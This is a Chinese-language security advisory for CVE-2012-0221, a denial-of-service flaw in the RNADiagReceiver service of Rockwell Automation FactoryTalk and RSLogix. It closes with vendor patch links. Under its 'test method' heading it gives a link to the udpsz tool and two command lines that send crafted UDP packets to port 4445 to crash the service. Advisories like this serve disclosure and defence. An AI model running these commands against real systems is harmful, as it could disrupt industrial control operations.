发布日期：2011-12-21
更新日期：2011-12-21

受影响系统：

Rockwell Automation Allen-Bradley FactoryTalk CPR9 - SR5

描述：

---

CVE(CAN) ID: CVE-2012-0221

FactoryTalk Services Platform (FTSP)是一组生产和性能管理系统。

Rockwell Automation Allen-Bradley FactoryTalk CPR9 - SR5、RSLogix 5000 17 - 20中，FactoryTalk (FT) RNADiagReceiver服务没有正确处理某个函数的返回值，远程攻击者通过特制的数据包利用此漏洞造成拒绝服务。

<*来源：Luigi Auriemma （aluigi@pivx.com）
  
  链接：http://aluigi.altervista.org/adv/rnadiagreceiver_1-adv.txt
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Luigi Auriemma （aluigi@pivx.com）提供了如下测试方法：

===========
The Code
===========

http://aluigi.org/testz/udpsz.zip

A]
  udpsz SERVER 4445 2001

B]
  udpsz -C "0002 0001" 0 -C "00000000 ffff" 0x34 -b a SERVER 4445 2000

建议：

---

厂商补丁：

Rockwell Automation
-------------------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://rockwellautomation.custhelp.com/app/answers/detail/a_id/469937
http://www.us-cert.gov/control_systems/pdf/ICSA-12-088-01.pdf

浏览次数：1301
严重程度：0（网友投票）